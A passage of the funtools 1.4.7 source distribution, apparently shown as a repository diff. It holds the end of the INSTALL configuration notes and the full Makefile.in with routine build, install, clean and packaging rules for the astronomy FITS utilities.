your responsibility to put the shared library
where it can be found (or use LD_LIBRARY_PATH).
--enable-dl=yes|no
With gcc available, perform on-the-fly filtering
by compiling a shared object and dynamically
loading it into the executable. The default is
to compile and link a separate slave program.
(Surprisingly, processing speed is about the
same for both methods.)
--enable-mainlib=yes|no
Build funtools mainlib support, which allows
user programs to call funtools as subroutines.
This is an experimental interface.
Standard options are listed below. the most important of which
is --prefix (to specify where to install) and --exec-prefix (where to
install executables, if the top level is different from where libraries
and include files are being installed. At SAO, we just use --prefix.
We recommend --prefix be set to a directory that will hold saord software
(e.g., --prefix=/soft/saord) in order to make management of our software
easier.
NB: be sure to use only absolute path names (those starting with "/")
in the --prefix and --exec_prefix options. (The configure options we
use at SAO for various machines are given as examples in the script
file called "saoconfig" in this directory.)
NB: Please avoid use of --prefix with 'make install' to change the
install directory. We use the original value of --prefix to determine
where compiled objects are located for linking slave filter programs.
The slave will look in that directory for imregions.o and evregions.o.
If you change the install directory, you will not be able to use these
precompiled objects. Instead, each filter will have to recompile the
region code.
Compiler flags can be placed on the configure command line after the
switches. For example, to use the icc compiler under Linux, you can
configure this way:
./configure --prefix=... CC=icc CFLAGS="..."
If you are going to be dealing with data files larger than 2Gb,
you will need to build in large file support. For gcc and many other
compilers, this is done using the following CFLAGS:
./configure CFLAGS="-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64"
Of course, you can put other switches into CFLAGS as needed:
./configure CFLAGS="-D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -Wall -g"
2. Type `make' to compile the package. This will create the libfuntools.a
library and the Funtools utility programs (funcnts, fundisp, etc.)
3. You can build the libxpa.so shared library manually by executing:
make shlib
at this point.
4. Type "make install" to install Funtools libraries and binaries in
standard places. You'll need write permission on the installation
directories to do this. The installation directories are
determined by the "configure" script and may be specified with
the --prefix option to "configure". See the Makefile for information
on what directories were chosen.
5. There are .html help files in the doc directory. You can copy
these files to a more convenient location, if you like. We
did not automate this step because we did not know where to
copy these files by default. (NB: The help.html file is the
top level index file.)
6. You can remove the program binaries and object files from the
source code directory by typing `make clean'. To also remove the
files that `configure' created (so you can compile the package for
a different kind of computer), type `make Distclean'. The latter
also removes all Makefiles (except the one at the top level).
Compilers and Options
=====================
Some systems require unusual options for compilation or linking that
the `configure' script does not know about. You can give `configure'
initial values for variables by setting them in the environment:
./configure CC=c89 CFLAGS=-O2 LIBS=-lposix
You also can use this facility to specify a compiler other than the default
gcc (if it exists).
Installation Names
==================
By default, `make install' will install the package's files in
`/usr/local/bin', `/usr/local/lib', etc. You can specify an
installation prefix other than `/usr/local' by giving `configure' the
option `--prefix=PATH':
e.g.,
./configure --prefix=/soft/saord
Programs will be installed in /soft/saord/bin, libraries in /soft/saord/lib,
and include files in /soft/saord/include. We recommend this as a general rule,
in order to keep SAORD software in one place that does not conflict with other
installations. Note that you will need to add the bin directory to your path.
You can specify separate installation prefixes for architecture-specific
files and architecture-independent files. If you give `configure' the option
`--exec-prefix=PATH', the package will use PATH as the prefix for installing
programs and libraries. Documentation and other data files will still use the
regular prefix.
In addition, if you use an unusual directory layout you can give
options like `--bindir=PATH' to specify different values for particular
kinds of files. Run `configure --help' for a list of the directories
you can set and what kinds of files go in them.
If the package supports it, you can cause programs to be installed
with an extra prefix or suffix on their names by giving `configure' the
option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
Optional Features
=================
Some packages pay attention to `--enable-FEATURE' options to
`configure', where FEATURE indicates an optional part of the package.
They may also pay attention to `--with-PACKAGE' options, where PACKAGE
is something like `gnu-as' or `x' (for the X Window System). The
`README' should mention any `--enable-' and `--with-' options that the
package recognizes.
Specifying the System Type
==========================
There may be some features `configure' can not figure out
automatically, but needs to determine by the type of host the package
will run on. Usually `configure' can figure that out, but if it prints
a message saying it can not guess the host type, give it the
`--host=TYPE' option. TYPE can either be a short name for the system
type, such as `sun4', or a canonical name with three fields:
CPU-COMPANY-SYSTEM
See the file `config.sub' for the possible values of each field. If
`config.sub' isn't included in this package, then this package doesn't
need to know the host type.
If you are building compiler tools for cross-compiling, you can also
use the `--target=TYPE' option to select the type of system they will
produce code for and the `--build=TYPE' option to select the type of
system on which you are compiling the package.
Sharing Defaults
================
If you want to set default values for `configure' scripts to share,
you can create a site shell script called `config.site' that gives
default values for variables like `CC', `cache_file', and `prefix'.
`configure' looks for `PREFIX/share/config.site' if it exists, then
`PREFIX/etc/config.site' if it exists. Or, you can set the
`CONFIG_SITE' environment variable to the location of the site script.
A warning: not all `configure' scripts look for a site script.
Operation Controls
==================
`configure' recognizes the following options to control how it
operates.
`--cache-file=FILE'
Use and save the results of the tests in FILE instead of
`./config.cache'. Set FILE to `/dev/null' to disable caching, for
debugging `configure'.
`--help'
Print a summary of the options to `configure', and exit.
`--quiet'
`--silent'
`-q'
Do not print messages saying which checks are being made. To
suppress all normal output, redirect it to `/dev/null' (any error
messages will still be shown).
`--srcdir=DIR'
Look for the package's source code in directory DIR. Usually
`configure' can determine that directory automatically.
`--version'
Print the version of Autoconf used to generate the `configure'
script, and exit.
`configure' also accepts some other, not widely useful, options.
If you have questions, please contact us at: saord@cfa.harvard.edu.
Eric Mandel

754
funtools-1.4.7/Makefile.in Normal file
View File

@ -0,0 +1,754 @@
#
# This file is a Makefile for Funtools. If it has the name "Makefile.in"
# then it is a template for a Makefile; to generate the actual Makefile,
# run "./configure", which is a configuration script generated by the
# "autoconf" program (constructs like "@foo@" will get replaced in the
# actual Makefile.
#
PACKAGE = @PACKAGE_NAME@
VERSION = @PACKAGE_VERSION@
DISTNAME = funtools-${VERSION}
DISTDIR = ../export/${DISTNAME}
FTPDIR = ../ftp
#----------------------------------------------------------------
# Things you can change to personalize the Makefile for your own
# site (you can make these changes in either Makefile.in or
# Makefile, but changes to Makefile will get lost if you re-run
# the configuration script).
#----------------------------------------------------------------
# Default top-level directories in which to install architecture-
# specific files (exec_prefix) and machine-independent files such
# as scripts (prefix). The values specified here may be overridden
# at configure-time with the --exec-prefix and --prefix options
# to the "configure" script.
prefix = @prefix@
exec_prefix = @exec_prefix@
# The following definition can be set to non-null for special systems
# like AFS with replication. It allows the pathnames used for installation
# to be different than those used for actually reference files at
# run-time. INSTALL_ROOT is prepended to $prefix and $exec_prefix
# when installing files.
INSTALL_ROOT = $(DESTDIR)
# Directory in which to install the .a or .so binary for the FUNTOOLS library:
LIB_INSTALL_DIR = $(INSTALL_ROOT)$(exec_prefix)/lib
# Directory in which to install the program wish:
BIN_INSTALL_DIR = $(INSTALL_ROOT)$(exec_prefix)/bin
# Directory in which to install the funtools.h include file:
INCLUDE_INSTALL_DIR = $(INSTALL_ROOT)$(prefix)/include/funtools
# Top-level directory for manual entries:
MAN_INSTALL_DIR = $(INSTALL_ROOT)$(prefix)/share/man
# Top-level directory for share entries:
MAN_SHARE_DIR = $(INSTALL_ROOT)$(prefix)/share/funtools
# util files are in the util subdirectory
UTIL_INC = -I./util
# UTIL_LIBS = -L./util -lutil
# fitsy files are in the fitsy subdirectory
FITSY_INC = -I./fitsy
# FITSY_LIBS = -L./fitsy -lfitsy
# wcs files are in the wcs subdirectory
WCS_INC = -I./wcs
# WCS_LIBS = -L./wcs -lwcs
# filter files are in the filter subdirectory
FILTER_INC = -I./filter
# FILTER_LIBS = -L./filter -lfilter
# extra includes for compiling
INCLUDES = $(UTIL_INC) $(FILTER_INC) $(WCS_INC) $(FITSY_INC)
# extra libs
EXTRA_LIBS = @EXTRA_LIBS@
# the full set of libraries for linking
LIBS = $(UTIL_LIBS) $(FILTER_LIBS) $(WCS_LIBS) $(FITSY_LIBS) \
$(EXTRA_LIBS) -lm
# To change the compiler switches, for example to change from -O
# to -g, change the following line:
CFLAGS = @CFLAGS@
# To add ld switches, change the following line:
LDFLAGS = @LDFLAGS@
# whether to set the FPU in double round mode
USE_FPU_DOUBLE = @USE_FPU_DOUBLE@
# Some versions of make, like SGI's, use the following variable to
# determine which shell to use for executing commands:
SHELL = /bin/sh
# extra modules added by configure.in to fix OS bugs
EXTRA_OBJS = @EXTRA_OBJS@
# special definitions for funcalc (based on filter configuration)
FUNCALC_CC = @FILTER_CC@
FUNCALC_CFLAGS = @FILTER_CFLAGS@
# if enabled-shared was specified, this will exand to "shlib" and trigger
# building of the shared library
DOSHARED = @DOSHARED@
DOMAINLIB = @DOMAINLIB@
# There are just too many different versions of "install" around;
# better to use the install-sh script that comes with the distribution,
# which is slower but guaranteed to work.
INSTALL = @srcdir@/install-sh -c
INSTALL_PROGRAM = ${INSTALL}
INSTALL_DATA = ${INSTALL} -m 644
# which awk-like program do we have?
PRE= @PRE@
POST= @POST@
AWK = @AWK@
PIPEGLUE = @PIPEGLUE@
GUNZIP = @GUNZIP@
GNUPLOT = @GNUPLOT@
#----------------------------------------------------------------
# The information below is modified by the configure script when
# Makefile is generated from Makefile.in. You shouldn't normally
# modify any of this stuff by hand.
#----------------------------------------------------------------
AC_FLAGS = @DEFS@
RANLIB = @RANLIB@
EXE = @EXEEXT@
#----------------------------------------------------------------
# The information below should be usable as is. The configure
# script won't modify it and you shouldn't need to modify it
# either.
#----------------------------------------------------------------
CC = @CC@
CC_SWITCHES = -I. ${CFLAGS} ${CPPFLAGS} @USE_DL@ ${INCLUDES} ${AC_FLAGS}
DEPEND_SWITCHES = -I. ${CFLAGS} ${INCLUDES} ${AC_FLAGS}
SRCS = funcol.c funcopy.c funtab.c funim.c funinfo.c \
funopen.c funopenp.c funparam.c funtext.c funwcs.c \
funview.c funutil.c
OBJS = funcol.o funcopy.o funtab.o funim.o funinfo.o \
funopen.o funopenp.o funparam.o funtext.o funwcs.o \
funview.o funutil.o
# these are all the modules going into the "normal" funtools library
LIBOBJS = ${OBJS}
# the default library for this package
DEFLIB = @DEFLIB@
# the actual library we are building (if this is a subpackage)
LIB = @LIB@
# this is used in the link line
# LLIB = $(LIB)
LLIB = @LLIB@
# libraries containing main as subroutines
MAINLIB = lib$(PACKAGE)MainLib.a
PROGS = funcalc funcen funcnts funcone fundisp funhead funhist \
funimage funjoin funmerge funsky funtable
MAINLIBOBJS = funcalc_main.o funcen_main.o funcnts_main.o funcone_main.o \
fundisp_main.o funhead_main.o funhist_main.o \
funimage_main.o funmerge_main.o funsky_main.o funtable_main.o \
funjoin_main.o
PROGS2 = _sort
TEMPLATES = funcnts_plot.tmpl funhist_plot.tmpl funcnts_sed.tmpl \
funtools_ds9.tmpl funds9.tmpl funtbl.tmpl funindex.tmpl
SCRIPTS = funcnts.plot funhist.plot funcnts.sed funds9 funtbl funindex
DS9HELPERS = funtools.ds9
FILES = funcalc.sed
DEVEL =
# Subdirectories to run make in for the primary targets.
SUBLIBS = util fitsy wcs filter
SUBDIRS = $(SUBLIBS) gnu funtest faq
all: lib progs progs2 scripts ds9helpers
progs: $(PROGS)
progs2: $(PROGS2)
scripts: $(SCRIPTS)
ds9helpers: $(DS9HELPERS)
devel: $(DEVEL)
libutil: FORCE
@(echo Making libutil.a in util ...; \
cd util; $(MAKE) libutil; mv libutil.a ..)
sublib: FORCE
@for dir in $(SUBLIBS); do \
echo " "; \
echo Making library in $$dir ...; \
(cd $$dir; $(MAKE)) ; \
done
lib: $(LIB) $(DOMAINLIB) $(DOSHARED)
$(LIB): sublib $(LIBOBJS)
ar cruv $(LIB) $(LIBOBJS)
$(RANLIB) $(LIB)
funmainlib.c: $(MAINLIBOBJS) mkfunmainlib
echo $(PROGS) | ./mkfunmainlib > funmainlib.c;
shlib: sublib $(LIBOBJS)
@(rm -rf $(PACKAGE)tmp; mkdir $(PACKAGE)tmp; \
(cd $(PACKAGE)tmp && ar x ../$(LIB)); \
CC='$(CC)' CXX=$(CXX) \
./mklib -o $(PACKAGE) $(PACKAGE)tmp/*.o; \
rm -rf $(PACKAGE)tmp;)
mainlib: $(MAINLIBOBJS) funmainlib.o lex.calc.o
@(ar cruv lib$(PACKAGE)MainLib.a \
$(MAINLIBOBJS) funmainlib.o lex.calc.o; \
$(RANLIB) lib$(PACKAGE)MainLib.a)
shmainlib: mainlib
@(rm -rf $(PACKAGE)tmp; mkdir $(PACKAGE)tmp; \
(cd $(PACKAGE)tmp && ar x ../lib$(PACKAGE)MainLib.a); \
CC='$(CC)' CXX='$(CXX)' \
./mklib -o $(PACKAGE)MainLib -L. -lfuntools $(PACKAGE)tmp/*.o;\
rm -rf $(PACKAGE)tmp;)
tclfun: $(LIB) tclmainlib.o tclfun.o
@(ar cruv libtclfun.a tclmainlib.o tclfun.o; \
$(RANLIB) libtclfun.a)
shtclfun: tclfun
@(rm -rf $(PACKAGE)tmp; mkdir $(PACKAGE)tmp; \
(cd $(PACKAGE)tmp && ar x ../$(LIB) && ar x ../libtclfun.a); \
CC='$(CC)' CXX='$(CXX)' \
./mklib -o tclfun $(PACKAGE)tmp/*.o; \
rm -rf $(PACKAGE)tmp; \
test -r pkgIndex.tcl && mv pkgIndex.tcl pkgIndex.tcl-old; \
SHLIB=libtclfun.so; \
test -r libtclfun.dylib && SHLIB=libtclfun.dylib; \
echo "pkg_mkIndex -direct . $${SHLIB}; exit" | tclsh;)
tclfun.c: FORCE
echo $(PROGS) | ./mkfunmainlib -tcl > tclfun.c
tclmainlib.o: util/tclmainlib.c
$(CC) -c $(CC_SWITCHES) util/tclmainlib.c
funcalc: funcalc.o lex.calc.o lib
$(CC) $(LDFLAGS) funcalc.o lex.calc.o -o funcalc \
$(LLIB) $(LIBS)
funcen: funcen.o lib
$(CC) $(LDFLAGS) funcen.o -o funcen $(LLIB) $(LIBS)
funcnts: funcnts.o lib
$(CC) $(LDFLAGS) funcnts.o -o funcnts $(LLIB) $(LIBS)
funcone: funcone.o lib
$(CC) $(LDFLAGS) funcone.o -o funcone $(LLIB) $(LIBS)
fundisp: fundisp.o lib
$(CC) $(LDFLAGS) fundisp.o -o fundisp $(LLIB) $(LIBS)
funhist: funhist.o lib
$(CC) $(LDFLAGS) funhist.o -o funhist $(LLIB) $(LIBS)
funhead: funhead.o lib
$(CC) $(LDFLAGS) funhead.o -o funhead $(LLIB) $(LIBS)
funimage: funimage.o lib
$(CC) $(LDFLAGS) funimage.o -o funimage $(LLIB) $(LIBS)
funjoin: funjoin.o lib
$(CC) $(LDFLAGS) funjoin.o -o funjoin $(LLIB) $(LIBS)
funmerge: funmerge.o lib
$(CC) $(LDFLAGS) funmerge.o -o funmerge $(LLIB) $(LIBS)
funsky: funsky.o lib
$(CC) $(LDFLAGS) funsky.o -o funsky $(LLIB) $(LIBS)
funtable: funtable.o lib
$(CC) $(LDFLAGS) funtable.o -o funtable $(LLIB) $(LIBS)
_sort: FORCE
@(echo " "; echo "Making in gnu ..."; cd gnu; $(MAKE))
funcalc_main.o: funcalc.c
$(CC) -c $(CC_SWITCHES) -Dmain="funcalc_main" \
-o funcalc_main.o funcalc.c
funcen_main.o: funcen.c
$(CC) -c $(CC_SWITCHES) -Dmain="funcen_main" \
-o funcen_main.o funcen.c
funcnts_main.o: funcnts.c
$(CC) -c $(CC_SWITCHES) -Dmain="funcnts_main" \
-o funcnts_main.o funcnts.c
funcone_main.o: funcone.c
$(CC) -c $(CC_SWITCHES) -Dmain="funcone_main" \
-o funcone_main.o funcone.c
fundisp_main.o: fundisp.c
$(CC) -c $(CC_SWITCHES) -Dmain="fundisp_main" \
-o fundisp_main.o fundisp.c
funhist_main.o: funhist.c
$(CC) -c $(CC_SWITCHES) -Dmain="funhist_main" \
-o funhist_main.o funhist.c
funhead_main.o: funhead.c
$(CC) -c $(CC_SWITCHES) -Dmain="funhead_main" \
-o funhead_main.o funhead.c
funimage_main.o: funimage.c
$(CC) -c $(CC_SWITCHES) -Dmain="funimage_main" \
-o funimage_main.o funimage.c
funjoin_main.o: funjoin.c
$(CC) -c $(CC_SWITCHES) -Dmain="funjoin_main" \
-o funjoin_main.o funjoin.c
funmerge_main.o: funmerge.c
$(CC) -c $(CC_SWITCHES) -Dmain="funmerge_main" \
-o funmerge_main.o funmerge.c
funsky_main.o: funsky.c
$(CC) -c $(CC_SWITCHES) -Dmain="funsky_main" \
-o funsky_main.o funsky.c
funtable_main.o: funtable.c
$(CC) -c $(CC_SWITCHES) -Dmain="funtable_main" \
-o funtable_main.o funtable.c
funcnts.plot: funcnts_plot.tmpl
sed -e 's#AWK#$(AWK)#g' funcnts_plot.tmpl > funcnts.plot
chmod +x funcnts.plot
funhist.plot: funhist_plot.tmpl
sed -e 's#AWK#$(AWK)#g' funhist_plot.tmpl > funhist.plot
chmod +x funhist.plot
funds9: funds9.tmpl
sed -e 's#AWK#$(AWK)#g;s#GNUPLOT#$(GNUPLOT)#g' funds9.tmpl > funds9
chmod +x funds9
funtbl: funtbl.tmpl
sed -e 's#AWK#$(AWK)#g;' funtbl.tmpl > funtbl
chmod +x funtbl
funindex: funindex.tmpl
cp -p funindex.tmpl funindex
chmod +x funindex
funcnts.sed: funcnts_sed.tmpl
cp funcnts_sed.tmpl funcnts.sed
chmod +x funcnts.sed
funtools.ds9: funtools_ds9.tmpl
sed -e 's#PRE#$(PRE)#g;s#POST#$(POST)#g;s#GUNZIP#$(GUNZIP)#g' funtools_ds9.tmpl > funtools.ds9
diff:
@-(for file in "`ls *.c`"; \
do \
echo $$file; \
diff /soft/saord/funtools-*/$$file .; \
done;)
install:: install-binaries
install:: $(DOSHARED)_install
install::
@for dir in $(SUBDIRS); do \
echo " "; \
echo Installing in $$dir ...; \
(cd $$dir; $(MAKE) INSTALL_ROOT=$(INSTALL_ROOT) INCLUDE_INSTALL_DIR=$(INCLUDE_INSTALL_DIR) $@) ; \
done
install:: install-man
install:: install-share
install:: install-data
FORCE:
# Note: before running ranlib below, must cd to target directory because
# some ranlibs write to current directory, and this might not always be
# possible (e.g. if installing as root).
# this nop-op gets executed if we are not building shared libraries
_install:
shlib_install:
@-(for i in `ls *.so* *.dylib *.sl 2>/dev/null` ; \
do \
if [ -h $$i ] ; then \
echo "Installing link $$i" ; \
tar cf - $$i | (cd $(LIB_INSTALL_DIR); tar xf -) ; \
else \
echo "Installing $$i" ; \
$(INSTALL_DATA) $$i $(LIB_INSTALL_DIR)/$$i ; \
chmod 555 $(LIB_INSTALL_DIR)/$$i; \
fi; \
done;)
install-binaries: lib $(PROGS) $(SCRIPTS) $(DS9HELPERS)
@for i in $(LIB_INSTALL_DIR) $(INCLUDE_INSTALL_DIR) $(BIN_INSTALL_DIR) ; \
do \
if [ ! -d $$i ] ; then \
echo "Making directory $$i"; \
mkdir -p $$i; \
chmod 755 $$i; \
else true; \
fi; \
done;
@if [ "$(LIB)" ] ; then \
XLIB=`basename $(LIB)`; \
echo "Installing $$XLIB"; \
$(INSTALL_DATA) $$XLIB $(LIB_INSTALL_DIR)/$$XLIB; \
(cd $(LIB_INSTALL_DIR); $(RANLIB) $$XLIB); \
chmod 555 $(LIB_INSTALL_DIR)/$$XLIB; \
fi;
@echo "Installing funtools.h"
@$(INSTALL_DATA) funtools.h $(INCLUDE_INSTALL_DIR)/funtools.h
@echo "Installing funtoolsP.h"
@$(INSTALL_DATA) funtoolsP.h $(INCLUDE_INSTALL_DIR)/funtoolsP.h
@for i in $(PROGS) ; \
do \
echo "Installing $$i$(EXE)" ; \
$(INSTALL_PROGRAM) $$i$(EXE) $(BIN_INSTALL_DIR)/$$i$(EXE) ; \
done;
@for i in $(SCRIPTS) ; \
do \
echo "Installing $$i" ; \
$(INSTALL_PROGRAM) $$i $(BIN_INSTALL_DIR)/$$i ; \
done;
@for i in $(DS9HELPERS) ; \
do \
echo "Installing $$i" ; \
$(INSTALL_DATA) $$i $(BIN_INSTALL_DIR)/$$i ; \
done;
@for i in $(FILES) ; \
do \
echo "Installing $$i" ; \
$(INSTALL_DATA) $$i $(BIN_INSTALL_DIR)/$$i ; \
done;
install-man:
@if [ ! -d $(MAN_INSTALL_DIR) ] ; then \
echo "Making directory $(MAN_INSTALL_DIR)"; \
mkdir $(MAN_INSTALL_DIR); \
chmod 755 $(MAN_INSTALL_DIR); \
else true; \
fi;
@-(for i in `ls ./man/man?/*.?` ; \
do \
B=`basename $$i`; \
E=`echo $$i | awk -F. '{print $$NF}'`; \
M="$(MAN_INSTALL_DIR)/man$$E"; \
if [ ! -d $$M ] ; then \
echo "Making directory $$M"; \
mkdir $$M; \
chmod 755 $$M; \
else true; \
fi; \
echo "Installing $$B" ; \
$(INSTALL_DATA) $$i $$M/$$B; \
done;)
install-share:
@if [ ! -d $(MAN_SHARE_DIR) ] ; then \
echo "Making directory $(MAN_SHARE_DIR)"; \
mkdir -p $(MAN_SHARE_DIR); \
chmod 755 $(MAN_SHARE_DIR); \
else true; \
fi;
@-(for i in `ls ./doc/sman/fun?.*` ; \
do \
B=`basename $$i`; \
echo "Installing $$B" ; \
$(INSTALL_DATA) $$i $(MAN_SHARE_DIR)/$$B; \
done;)
install-data: install-pkgconfig
install-pkgconfig:
@-(mkdir -p $(LIB_INSTALL_DIR)/pkgconfig; \
echo "Installing funtools.pc" ; \
$(INSTALL_DATA) funtools.pc $(LIB_INSTALL_DIR)/pkgconfig;)
Makefile: Makefile.in
$(SHELL) config.status
RM = rm -f
topclean:
$(RM) *.a *.so *.so.? *.so.?.? *.o *.dylib \
$(PROGS) tmain \
$(SCRIPTS) $(DS9HELPERS) \
$(DEVEL) *.exe \
core core.[0-9]* errs *pure* .nfs* \
foo* *~ *.log \#* TAGS *.E a.out errors \
gmon.out *.pg *.bak \
config.info config.log \
doc/*~ doc/*.bak
$(RM) -r autom4te.cache
binclean:
$(RM) ./lib/* ./include/* ./bin/*
subclean:
for dir in $(SUBDIRS); do \
echo making clean in subdir $$dir ; \
(cd $$dir; if [ -f Makefile ]; then $(MAKE) clean; fi); \
done
clean: topclean binclean subclean
pclean:
$(RM) $(PROGS) $(DEVEL)
distclean: clean
$(RM) Makefile config.status config.cache config.log funtools.pc
Distclean: distclean
for dir in $(SUBDIRS); do \
echo making clean in $$dir ; \
(cd $$dir; if [ -f Makefile ]; then $(MAKE) distclean; fi); \
done
depend:
makedepend -- $(DEPEND_SWITCHES) -- $(SRCS)
.c.o:
$(CC) -c $(CC_SWITCHES) $<
funopen.o: funopen.c funtools.h funtoolsP.h
funparam.o: funparam.c funtools.h funtoolsP.h
funim.o: funim.c funtools.h funtoolsP.h
funtab.o: funtab.c funtools.h funtoolsP.h
funcol.o: funcol.c funtools.h funtoolsP.h
funcopy.o: funcopy.c funtools.h funtoolsP.h
funutil.o: funutil.c funtools.h funtoolsP.h
funview.o: funview.c funtools.h funtoolsP.h
funwcs.o: funwcs.c funtools.h funtoolsP.h
funinfo.o: funinfo.c funtools.h funtoolsP.h
funimage.o: funimage.c funtools.h funtoolsP.h
funhist.o: funhist.c funtools.h funtoolsP.h
fundisp.o: fundisp.c funtools.h funtoolsP.h
funhead.o: funhead.c funtools.h funtoolsP.h
funcnts.o: funcnts.c funtools.h funtoolsP.h
funcen.o: funcen.c funtools.h funtoolsP.h
funcone.o: funcone.c funtools.h funtoolsP.h
funjoin.o: funjoin.c funtools.h funtoolsP.h
funmerge.o: funmerge.c funtools.h funtoolsP.h
funsky.o: funsky.c funtools.h funtoolsP.h
funtable.o: funtable.c funtools.h funtoolsP.h chandra.h
funcalc.o: funcalc.c calc.h funtools.h funtoolsP.h
$(CC) -c $(CC_SWITCHES) $< \
-DFUN_INCLUDE="\"-I${prefix}/include\"" \
-DFUNCALC_CC="$(FUNCALC_CC)" \
-DFUNCALC_CFLAGS="$(FUNCALC_CFLAGS)" \
-DFUN_LIB="\"-L${exec_prefix}/lib -lfuntools ${EXTRA_LIBS} -lm\""
lex.calc.o: lex.calc.c tabcalc_c.h
headers: tabcalc_c.h
tabcalc_c.h: tabcalc.c
$(RM) tabcalc_c.h
./inc.sed TABCALC_C < tabcalc.c > tabcalc_c.h
# remake the parser
LEX = flex -Pcalc
parser: calc.l
@($(LEX) calc.l; \
sed "s/yytext_ptr/calctext_ptr/g" < lex.calc.c > nlex.calc.c; \
mv nlex.calc.c lex.calc.c)
funtools.h: configure.ac
@($(RM) -r ofuntools.h; \
MAJOR=`echo "${VERSION}" | awk -F. '{print $$1}'`; \
MINOR=`echo "${VERSION}" | awk -F. '{print $$2}'`; \
PATCH=`echo "${VERSION}" | awk -F. '{print $$3}'`; \
sed "s/^#define FUN_VERSION.*/#define FUN_VERSION \"$(VERSION)\"/;s/^#define FUN_MAJOR_VERSION.*/#define FUN_MAJOR_VERSION $${MAJOR}/;s/^#define FUN_MINOR_VERSION.*/#define FUN_MINOR_VERSION $${MINOR}/;s/^#define FUN_PATCH_LEVEL.*/#define FUN_PATCH_LEVEL $${PATCH}/;" < funtools.h > nfuntools.h; \
mv funtools.h ofuntools.h; \
mv nfuntools.h funtools.h)
#
# Target to create a proper FUNTOOLS distribution from information in the
# master source directory. DISTDIR must be defined to indicate where
# to put the distribution. DISTDIR must be an absolute path name.
#
configure: configure.ac
autoconf
Configure: FORCE
@for dir in $(SUBDIRS); do \
if [ -x $$dir/configure ]; then \
echo " "; \
echo Autoconf in $$dir ...; \
(cd $$dir; autoconf) ; \
fi; \
done
Confiles:
@(for dir in $(SUBDIRS); do \
echo " "; \
echo Copying configure files to $$dir ...; \
cp -p aclocal.m4 tcl.m4 gcc33.m4 \
conf.h.in config.sub config.guess install-sh $$dir; \
done)
dist: configure
($(RM) -r $(DISTDIR); \
mkdir $(DISTDIR); \
cp -p README INSTALL COPYING $(DISTDIR)/.; \
cp -p *.c *.h *.l $(DISTDIR)/.; \
cp -p Makefile.in $(DISTDIR)/.; \
chmod 664 $(DISTDIR)/Makefile.in; \
cp -p conf.h.in $(DISTDIR)/.; \
chmod 664 $(DISTDIR)/conf.h.in; \
cp -p configure.ac $(DISTDIR)/.; \
chmod 644 $(DISTDIR)/configure.ac; \
cp -p *.m4 $(DISTDIR)/.; \
chmod 644 $(DISTDIR)/*.m4; \
cp -p configure $(DISTDIR)/.; \
chmod 755 $(DISTDIR)/configure; \
cp -p config.sub config.guess $(DISTDIR)/.; \
chmod 755 $(DISTDIR)/config.sub $(DISTDIR)/config.guess; \
cp -p saoconfig $(DISTDIR)/.; \
chmod 775 $(DISTDIR)/saoconfig; \
cp -p install-sh $(DISTDIR)/.; \
chmod +x $(DISTDIR)/install-sh; \
cp -p funtools.pc.in $(DISTDIR)/.; \
chmod +x $(DISTDIR)/funtools.pc.in; \
cp -p inc.sed $(DISTDIR)/.; \
chmod +x $(DISTDIR)/inc.sed; \
cp -p mklib $(DISTDIR)/.; \
chmod +x $(DISTDIR)/mklib; \
cp -p mkfunmainlib $(DISTDIR)/.; \
chmod +x $(DISTDIR)/mkfunmainlib; \
cp -pR util filter fitsy wcs gnu $(DISTDIR)/.;\
cp -pR funtest txt faq $(DISTDIR)/.;\
cp -p $(TEMPLATES) $(DISTDIR)/.; \
cp -p $(FILES) $(DISTDIR)/.; \
mkdir $(DISTDIR)/doc; \
cp -p ./doc/*.html ./doc/*.c $(DISTDIR)/doc/.; \
cp -p ./doc/*.ps ./doc/*.pdf $(DISTDIR)/doc/.; \
cp -p ./doc/Makefile $(DISTDIR)/doc/.; \
cp -p ./doc/szlong.c $(DISTDIR)/doc/.; \
mkdir $(DISTDIR)/doc/sman; \
cp -p ./doc/sman/* $(DISTDIR)/doc/sman/.; \
mkdir $(DISTDIR)/man; \
cp -p -R ./man/* $(DISTDIR)/man/.)
release: dist
(cd $(DISTDIR); cd ..; \
tar cf - $(DISTNAME) | \
gzip -9 -c > $(FTPDIR)/$(DISTNAME).tar.gz)
tar:
($(RM) -r config.cache; \
cd ..; \
tar cf - $(DISTNAME) | gzip -9 -c > $(DISTNAME).tar.gz)
errcheck:
@-egrep 'error|warning|ld:|collect2:|make:' foo | egrep -v "^lex.*but not used"
itar:
(cd doc/sman; \
tar cf - . | gzip -9 -c > ../../../$(DISTNAME)-iman.tar.gz)
sman:
@(cd doc && $(MAKE) index)
docs:
@(cd doc; $(MAKE))
untar:
(make clean; cd ..; \
$(RM) -r o$(DISTNAME); mv $(DISTNAME) o$(DISTNAME); \
tar xfz $(DISTNAME).tar.gz)
pure: funcalc.pure funcen.pure funcnts.pure funcone.pure \
fundisp.pure funhead.pure funimage.pure funhist.pure \
funmerge.pure funsky.pure funtable.pure \
funjoin.pure
funcen.pure: lib funcen.o
purify $(CC) $(LDFLAGS) funcen.o -o funcen.pure \
$(LLIB) $(LIBS)
funcnts.pure: lib funcnts.o
purify $(CC) $(LDFLAGS) funcnts.o -o funcnts.pure \
$(LLIB) $(LIBS)
funcone.pure: lib funcone.o
purify $(CC) $(LDFLAGS) funcone.o -o funcone.pure \
$(LLIB) $(LIBS)
fundisp.pure: lib fundisp.o
purify $(CC) $(LDFLAGS) fundisp.o -o fundisp.pure \
$(LLIB) $(LIBS)
funhead.pure: lib funhead.o
purify $(CC) $(LDFLAGS) funhead.o -o funhead.pure \
$(LLIB) $(LIBS)
funsky.pure: lib funsky.o
purify $(CC) $(LDFLAGS) funsky.o -o funsky.pure \
$(LLIB) $(LIBS)
funtable.pure: lib funtable.o
purify $(CC) $(LDFLAGS) funtable.o -o funtable.pure \
$(LLIB) $(LIBS)
funimage.pure: lib funimage.o
purify $(CC) $(LDFLAGS) funimage.o -o funimage.pure \
$(LLIB) $(LIBS)
funhist.pure: lib funhist.o
purify $(CC) $(LDFLAGS) funhist.o -o funhist.pure \
$(LLIB) $(LIBS)
funjoin.pure: lib funjoin.o
purify $(CC) $(LDFLAGS) funjoin.o -o funjoin.pure \
$(LLIB) $(LIBS)
funmerge.pure: lib funmerge.o
purify $(CC) $(LDFLAGS) funmerge.o -o funmerge.pure \
$(LLIB) $(LIBS)
funcalc.pure: lib funcalc.o lex.calc.o
purify $(CC) $(LDFLAGS) funcalc.o lex.calc.o \
-o funcalc.pure $(LLIB) $(LIBS)
